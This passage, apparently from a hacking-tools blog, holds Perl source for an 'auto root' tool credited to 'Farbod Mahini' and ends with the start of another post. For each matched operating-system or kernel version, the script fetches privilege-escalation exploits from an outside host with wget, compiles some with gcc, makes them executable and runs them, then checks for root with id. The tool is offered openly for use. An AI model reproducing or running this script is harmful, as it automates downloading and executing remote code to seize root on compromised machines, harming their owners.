system("./48local");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "bsd5.3")
{
system("wget http://farbod.gozarweb.com/local/exploit");
system("chmod 777 exploit");
system("./exploit");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/freedbs5.3");
system("chmod 777 freedbs5.3");
system("./freedbs5.3");
system("id");
system("wget http://farbod.gozarweb.com/local/FreeBSDmaster.passwd.c");
system("gcc FreeBSDmaster.passwd.c -o FreeBSDmaster.passwd");
system("chmod 777 FreeBSDmaster.passwd");
system("./FreeBSDmaster.passwd");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "bsd8.0")
{
system("wget http://farbod.gozarweb.com/local/w00t.sh");
system("chmod 777 w00t.sh");
system("./w00t.sh");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "mac")
{
system("wget http://farbod.gozarweb.com/local/macosX");
system("chmod 777 macosX");
system("./macosX");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "bsd")
{
system("wget http://farbod.gozarweb.com/local/env");
system("chmod 777 env");
system("./env");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/w00t.so.1.0");
system("chmod 777 w00t.so.1.0");
system("./w00t.so.1.0");
system("id");
system("wget http://farbod.gozarweb.com/local/FreeBSDmaster.passwd.c");
system("gcc FreeBSDmaster.passwd.c -o FreeBSDmaster.passwd");
system("chmod 777 FreeBSDmaster.passwd");
system("./FreeBSDmaster.passwd");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "red7.0")
{
system("wget http://farbod.gozarweb.com/local/epcs2.c");
system("gcc epcs2.c -o epcs2");
system("chmod 777 epcs2");
system("./epcs2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/crontab.c");
system("gcc crontab.c -o crontab");
system("chmod 777 crontab");
system("./crontab");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "red7.1")
{
system("wget http://farbod.gozarweb.com/local/rh71sm8.c");
system("gcc rh71sm8.c -o rh71sm8");
system("chmod 777 rh71sm8");
system("./rh71sm8");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "red8.0")
{
system("wget http://farbod.gozarweb.com/local/0x82-Remote.tannehehe.xpl.c");
system("gcc 0x82-Remote.tannehehe.xpl.c -o 0x82-Remote.tannehehe.xpl");
system("chmod 777 0x82-Remote.tannehehe.xpl");
system("./0x82-Remote.tannehehe.xpl");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/efs_local");
system("chmod 777 efs_local");
system("./efs_local");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/ifenslave");
system("chmod 777 ifenslave");
system("./ifenslave");
system("id");;
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "red7.3")
{
system("wget http://farbod.gozarweb.com/local/ohMy-another-efs");
system("chmod 777 ohMy-another-efs");
system("./ohMy-another-efs");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/nslconf");
system("chmod 777 nslconf");
system("./nslconf");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/alsaplayer-suid");
system("chmod 777 alsaplayer-suid");
system("./alsaplayer-suid");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/afd-expl");
system("chmod 777 afd-expl");
system("./afd-expl");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "sun5.7")
{
system("wget http://farbod.gozarweb.com/local/solaris27");
system("chmod 777 solaris27");
system("./solaris27");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "sun5.8")
{
system("wget http://farbod.gozarweb.com/local/final");
system("chmod 777 final");
system("./final");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "sun5.9")
{
system("wget http://farbod.gozarweb.com/local/sunos59");
system("chmod 777 sunos59");
system("./sunos59");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "sun5.10")
{
system("wget http://farbod.gozarweb.com/local/sunos510");
system("chmod 777 sunos510");
system("./sunos510");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.2.x")
{
system("wget http://farbod.gozarweb.com/local/ptrace24");
system("chmod 777 ptrace24");
system("./ptrace24");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.2.27")
{
system("wget http://farbod.gozarweb.com/local/uselib24");
system("chmod 777 uselib24");
system("./uselib24");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/elfcd1.c");
system("gcc elfcd1.c -o elfcd1");
system("chmod 777 elfcd1");
system("./elfcd1");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/mremap_pte");
system("chmod 777 mremap_pte");
system("./mremap_pte");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.18-8")
{
system("wget http://farbod.gozarweb.com/local/2.6.18-8");
system("chmod 777 2.6.18-8");
system("./2.6.18-8");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.36.92.6.27.5")
{
system("wget http://farbod.gozarweb.com/local/2.4.36.92.6.27.5_2008");
system("chmod 777 2.4.36.92.6.27.5_2008");
system("./2.4.36.92.6.27.5_2008");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.x")
{
system("wget http://farbod.gozarweb.com/local/uselib24");
system("chmod 777 uselib24");
system("./uselib24");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/ptrace-kmod");
system("chmod 777 ptrace-kmod");
system("./ptrace-kmod");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/newlocal");
system("chmod 777 newlocal");
system("./newlocal");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/kmod2");
system("chmod 777 kmod2");
system("./kmod2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/elflbl");
system("chmod 777 elflbl");
system("./elflbl");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/pwned.c");
system("gcc pwned.c -o pwned");
system("chmod 777 pwned");
system("./pwned");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.29")
{
system("wget http://farbod.gozarweb.com/local/1.c");
system("gcc 1.c -o 1");
system("chmod 777 1");
system("./1");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/uselib24");
system("chmod 777 uselib24");
system("./uselib24");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.26")
{
system("wget http://farbod.gozarweb.com/local/mremap_pte");
system("chmod 777 mremap_pte");
system("./mremap_pte");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/Linux_kernel_mremap.c");
system("gcc Linux_kernel_mremap.c -o Linux_kernel_mremap");
system("chmod 777 Linux_kernel_mremap");
system("./Linux_kernel_mremap");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.27")
{
system("wget http://farbod.gozarweb.com/local/mremap_pte");
system("chmod 777 mremap_pte");
system("./mremap_pte");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/uselib24");
system("chmod 777 uselib24");
system("./uselib24");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.25")
{
system("wget http://farbod.gozarweb.com/local/mremap_pte");
system("chmod 777 mremap_pte");
system("./mremap_pte");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.24")
{
system("wget http://farbod.gozarweb.com/local/mremap_pte");
system("chmod 777 mremap_pte");
system("./mremap_pte");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/Linux_kernel_mremap.c");
system("gcc Linux_kernel_mremap.c -o Linux_kernel_mremap");
system("chmod 777 Linux_kernel_mremap");
system("./Linux_kernel_mremap");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/uselib24");
system("chmod 777 uselib24");
system("./uselib24");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.23")
{
system("wget http://farbod.gozarweb.com/local/hatorihanzo.c");
system("gcc hatorihanzo.c -o hatorihanzo");
system("chmod 777 hatorihanzo");
system("./hatorihanzo");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/mremap_pte");
system("chmod 777 mremap_pte");
system("./mremap_pte");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.21")
{
system("wget http://farbod.gozarweb.com/local/ptrace-kmod");
system("chmod 777 ptrace-kmod");
system("./ptrace-kmod");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/ptrace");
system("chmod 777 ptrace");
system("./ptrace");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/brk2");
system("chmod 777 brk2");
system("./brk2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/brk");
system("chmod 777 brk");
system("./brk");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2-4-21");
system("chmod 777 2-4-21");
system("./2-4-21");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.20")
{
system("wget http://farbod.gozarweb.com/local/ptrace-kmod");
system("chmod 777 ptrace-kmod");
system("./ptrace-kmod");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/ptrace");
system("chmod 777 ptrace");
system("./ptrace");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/brk2");
system("chmod 777 brk2");
system("./brk2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/brk");
system("chmod 777 brk");
system("./brk");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/kmod");
system("chmod 777 kmod");
system("./kmod");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.19")
{
system("wget http://farbod.gozarweb.com/local/ptrace-kmod");
system("chmod 777 ptrace-kmod");
system("./ptrace-kmod");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/ptrace");
system("chmod 777 ptrace");
system("./ptrace");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/brk2");
system("chmod 777 brk2");
system("./brk2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/brk");
system("chmod 777 brk");
system("./brk");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.18")
{
system("wget http://farbod.gozarweb.com/local/ptrace-kmod");
system("chmod 777 ptrace-kmod");
system("./ptrace-kmod");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/ptrace");
system("chmod 777 ptrace");
system("./ptrace");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/brk2");
system("chmod 777 brk2");
system("./brk2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/brk");
system("chmod 777 brk");
system("./brk");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.17")
{
system("wget http://farbod.gozarweb.com/local/uselib24");
system("chmod 777 uselib24");
system("./uselib24");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/kmod");
system("chmod 777 kmod");
system("./kmod");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/newlocal");
system("chmod 777 newlocal");
system("./newlocal");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.x")
{
system("wget http://farbod.gozarweb.com/local/h0llyshit");
system("chmod 777 h0llyshit");
system("./h0llyshit");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/kmod2");
system("chmod 777 kmod2");
system("./kmod2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/elflbl");
system("chmod 777 elflbl");
system("./elflbl");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/cw7.3");
system("chmod 777 cw7.3");
system("./cw7.3");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/ptrace-kmod");
system("chmod 777 ptrace-kmod");
system("./ptrace-kmod");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/root2");
system("chmod 777 root2");
system("./root2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/x2");
system("chmod 777 x2");
system("./x2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/x");
system("chmod 777 x");
system("./x");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/uselib24");
system("chmod 777 uselib24");
system("./uselib24");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/exp.sh");
system("chmod 777 exp.sh");
system("./exp.sh");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.x");
system("chmod 777 2.6.x");
system("./2.6.x");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.r1z.sh");
system("chmod 777 2.6.r1z.sh");
system("./2.6.r1z.sh");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.182")
{
system("wget http://farbod.gozarweb.com/local/2.6.182.c");
system("gcc 2.6.182.c -o 2.6.182");
system("chmod 777 2.6.182");
system("./2.6.182");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.26")
{
system("wget http://farbod.gozarweb.com/local/2.6.26.c");
system("gcc 2.6.26.c -o 2.6.26");
system("chmod 777 2.6.26");
system("./2.6.26");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.9")
{
system("wget http://farbod.gozarweb.com/local/2.4.8&2.6.9.c");
system("gcc 2.4.8&2.6.9.c -o 2.4.8&2.6.9");
system("chmod 777 2.4.8&2.6.9");
system("./2.4.8&2.6.9");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/krad2");
system("chmod 777 krad2");
system("./krad2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/krad");
system("chmod 777 krad");
system("./krad");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/h00lyshit");
system("chmod 777 h00lyshit");
system("./h00lyshit");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.9-55-2007-prv8");
system("chmod 777 2.6.9-55-2007-prv8");
system("./2.6.9-55-2007-prv8");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/06");
system("chmod 777 06");
system("./06");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/05");
system("chmod 777 05");
system("./05");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/04");
system("chmod 777 04");
system("./04");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.9-55-2008-prv8");
system("chmod 777 2.6.9-55-2008-prv8");
system("./2.6.9-55-2008-prv8");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.9");
system("chmod 777 2.6.9");
system("./2.6.9");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.9-55")
{
system("wget http://farbod.gozarweb.com/local/2.6.9-55-2008-prv8");
system("chmod 777 2.6.9-55-2008-prv8");
system("./2.6.9-55-2008-prv8");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.9-55-2007-prv8");
system("chmod 777 2.6.9-55-2007-prv8");
system("./2.6.9-55-2007-prv8");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.8")
{
system("wget http://farbod.gozarweb.com/local/2.4.8&2.6.9.c");
system("gcc 2.4.8&2.6.9.c -o 2.4.8&2.6.9");
system("chmod 777 2.4.8&2.6.9");
system("./2.4.8&2.6.9");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.9-34")
{
system("wget http://farbod.gozarweb.com/local/r00t");
system("chmod 777 r00t");
system("./r00t");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/h00lyshit");
system("chmod 777 h00lyshit");
system("./h00lyshit");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.8")
{
system("wget http://farbod.gozarweb.com/local/krad2");
system("chmod 777 krad2");
system("./krad2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/krad");
system("chmod 777 krad");
system("./krad");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/h00lyshit");
system("chmod 777 h00lyshit");
system("./h00lyshit");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.7")
{
system("wget http://farbod.gozarweb.com/local/krad2");
system("chmod 777 krad2");
system("./krad2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/krad");
system("chmod 777 krad");
system("./krad");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/h00lyshit");
system("chmod 777 h00lyshit");
system("./h00lyshit");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.5")
{
system("wget http://farbod.gozarweb.com/local/krad2");
system("chmod 777 krad2");
system("./krad2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/krad");
system("chmod 777 krad");
system("./krad");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/h00lyshit");
system("chmod 777 h00lyshit");
system("./h00lyshit");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/hudo.c");
system("gcc hudo.c -o hudo");
system("chmod 777 hudo");
system("./hudo");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/05");
system("chmod 777 05");
system("./05");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/ong_bak.c");
system("gcc ong_bak.c -o ong_bak");
system("chmod 777 ong_bak");
system("./ong_bak");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.4")
{
system("wget http://farbod.gozarweb.com/local/hudo.c");
system("gcc hudo.c -o hudo");
system("chmod 777 hudo");
system("./hudo");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.2")
{
system("wget http://farbod.gozarweb.com/local/myptrace");
system("chmod 777 myptrace");
system("./myptrace");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/krad");
system("chmod 777 krad");
system("./krad");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/h00lyshit");
system("chmod 777 h00lyshit");
system("./h00lyshit");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.17")
{
system("wget http://farbod.gozarweb.com/local/2.6.17");
system("chmod 777 2.6.17");
system("./2.6.17");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.17(2)");
system("chmod 777 2.6.17");
system("./2.6.17");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct1");
system("chmod 777 prct1");
system("./prct1");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct2");
system("chmod 777 prct2");
system("./prct2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct3");
system("chmod 777 prct3");
system("./prct3");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct4");
system("chmod 777 prct4");
system("./prct4");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct6");
system("chmod 777 prct6");
system("./prct6");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct5.sh");
system("chmod 777 prct5.sh");
system("./prct5.sh");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/root");
system("chmod 777 root");
system("./root");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.16")
{
system("wget http://farbod.gozarweb.com/local/raptor");
system("chmod 777 raptor");
system("./raptor");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct1");
system("chmod 777 prct1");
system("./prct1");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct2");
system("chmod 777 prct2");
system("./prct2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct3");
system("chmod 777 prct3");
system("./prct3");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct4");
system("chmod 777 prct4");
system("./prct4");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct6");
system("chmod 777 prct6");
system("./prct6");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/h00lyshit");
system("chmod 777 h00lyshit");
system("./h00lyshit");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.18")
{
system("wget http://farbod.gozarweb.com/local/2.6.18.c");
system("gcc 2.6.18.c -o 2.6.18");
system("chmod 777 2.6.18");
system("./2.6.18");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.18-164");
system("chmod 777 2.6.18-164");
system("./2.6.18-164");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.18");
system("chmod 777 2.6.18");
system("./2.6.18");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.18-2008");
system("chmod 777 2.6.18-2008");
system("./2.6.18-2008");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.31")
{
system("wget http://farbod.gozarweb.com/local/2.6.31-2010.c");
system("gcc 2.6.31-2010.c -o 2.6.31-2010");
system("chmod 777 2.6.31-2010");
system("./2.6.31-2010");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.31.5")
{
system("wget http://farbod.gozarweb.com/local/enlightenment");
system("chmod 777 enlightenment");
system("./enlightenment");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.20")
{
system("wget http://farbod.gozarweb.com/local/2.6.20");
system("chmod 777 2.6.20");
system("./2.6.20");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.23")
{
system("wget http://farbod.gozarweb.com/local/vmsplice.c");
system("gcc vmsplice.c -o vmsplice");
system("chmod 777 vmsplice");
system("./vmsplice");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.23_2008.c");
system("gcc 2.6.23_2008.c -o 2.6.23_2008");
system("chmod 777 2.6.23_2008");
system("./2.6.23_2008");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.23-2.6.24");
system("chmod 777 2.6.23-2.6.24");
system("./2.6.23-2.6.24");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.23=2008");
system("chmod 777 2.6.23=2008");
system("./2.6.23=2008");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.24")
{
system("wget http://farbod.gozarweb.com/local/vmsplice.c");
system("gcc vmsplice.c -o vmsplice");
system("chmod 777 vmsplice");
system("./vmsplice");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.23-2.6.24");
system("chmod 777 2.6.23-2.6.24");
system("./2.6.23-2.6.24");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.24=2008");
system("chmod 777 2.6.24=2008");
system("./2.6.24=2008");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.24");
system("chmod 777 2.6.24");
system("./2.6.24");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.22")
{
system("wget http://farbod.gozarweb.com/local/2.6.22.c");
system("gcc 2.6.22.c -o 2.6.22");
system("chmod 777 2.6.22");
system("./2.6.22");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.22-4-686_2008");
system("chmod 777 2.6.22-4-686_2008");
system("./2.6.22-4-686_2008");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.22");
system("chmod 777 2.6.22");
system("./2.6.22");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.15")
{
system("wget http://farbod.gozarweb.com/local/raptor");
system("chmod 777 raptor");
system("./raptor");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct1");
system("chmod 777 prct1");
system("./prct1");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct2");
system("chmod 777 prct2");
system("./prct2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct3");
system("chmod 777 prct3");
system("./prct3");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct4");
system("chmod 777 prct4");
system("./prct4");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct6");
system("chmod 777 prct6");
system("./prct6");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/h00lyshit");
system("chmod 777 h00lyshit");
system("./h00lyshit");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.14")
{
system("wget http://farbod.gozarweb.com/local/raptor");
system("chmod 777 raptor");
system("./raptor");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct1");
system("chmod 777 prct1");
system("./prct1");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct2");
system("chmod 777 prct2");
system("./prct2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct3");
system("chmod 777 prct3");
system("./prct3");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct4");
system("chmod 777 prct4");
system("./prct4");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct6");
system("chmod 777 prct6");
system("./prct6");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/h00lyshit");
system("chmod 777 h00lyshit");
system("./h00lyshit");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.13")
{
system("wget http://farbod.gozarweb.com/local/raptor");
system("chmod 777 raptor");
system("./raptor");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct1");
system("chmod 777 prct1");
system("./prct1");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct2");
system("chmod 777 prct2");
system("./prct2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct3");
system("chmod 777 prct3");
system("./prct3");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct4");
system("chmod 777 prct4");
system("./prct4");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/prct6");
system("chmod 777 prct6");
system("./prct6");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/h00lyshit");
system("chmod 777 h00lyshit");
system("./h00lyshit");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.12")
{
system("wget http://farbod.gozarweb.com/local/binfmt_elf");
system("chmod 777 binfmt_elf");
system("./binfmt_elf");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/elfcd2");
system("chmod 777 elfcd2");
system("./elfcd2");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.11")
{
system("wget http://farbod.gozarweb.com/local/krad2");
system("chmod 777 krad2");
system("./krad2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/krad");
system("chmod 777 krad");
system("./krad");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/k-rad3");
system("chmod 777 k-rad3");
system("./k-rad3");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/k-rad");
system("chmod 777 k-rad");
system("./k-rad");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/pwned");
system("chmod 777 pwned");
system("./pwned");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.11.c");
system("gcc 2.6.11.c -o 2.6.11");
system("chmod 777 2.6.11");
system("./2.6.11");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/2.6.11-2007-priv8");
system("chmod 777 2.6.11-2007-priv8");
system("./2.6.11-2007-priv8");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.6.10")
{
system("wget http://farbod.gozarweb.com/local/krad2");
system("chmod 777 krad2");
system("./krad2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/krad");
system("chmod 777 krad");
system("./krad");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/h00lyshit");
system("chmod 777 h00lyshit");
system("./h00lyshit");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/05");
system("chmod 777 05");
system("./05");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/uselib24");
system("chmod 777 uselib24");
system("./uselib24");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.22-10")
{
system("wget http://farbod.gozarweb.com/local/2.4.22.c");
system("gcc 2.4.22.c -o 2.4.22");
system("chmod 777 2.4.22");
system("./2.4.22");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/loginx");
system("chmod 777 loginx");
system("./loginx");
system("id");
die "Powered By Farbod Mahini \n";
}
if ($ARGV[1] =~ "2.4.22")
{
system("wget http://farbod.gozarweb.com/local/2.4.22.c");
system("gcc 2.4.22.c -o 2.4.22");
system("chmod 777 2.4.22");
system("./2.4.22");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/ptrace-kmod");
system("chmod 777 ptrace-kmod");
system("./ptrace-kmod");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/ptrace");
system("chmod 777 ptrace");
system("./ptrace");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/brk2");
system("chmod 777 brk2");
system("./brk2");
system("id");
sleep(1);
system("wget http://farbod.gozarweb.com/local/brk");
system("chmod 777 brk");
system("./brk");
system("id");
die "Powered By Farbod Mahini \n";
}
}
print "\n This is Not True";[/cc]

Tagged as: auto root, H4ckCity Auto T00ls v1.0, linux, root, scripts, source code, tools No Comments

30Aug/110

plomp http banner retrieval and analysis

[cc lang="perl"]#!/usr/bin/perl
#
